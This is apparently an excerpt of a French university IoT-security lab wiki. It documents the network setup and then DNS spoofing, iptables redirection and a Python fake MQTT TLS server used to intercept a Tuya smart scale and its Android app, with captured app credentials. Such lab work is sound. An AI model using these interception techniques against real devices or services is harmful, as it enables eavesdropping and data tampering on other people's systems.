Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO redaction&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10938</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10938"/>
		<updated>2025-12-16T13:44:25Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Envoi de fausses informations vers l'application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
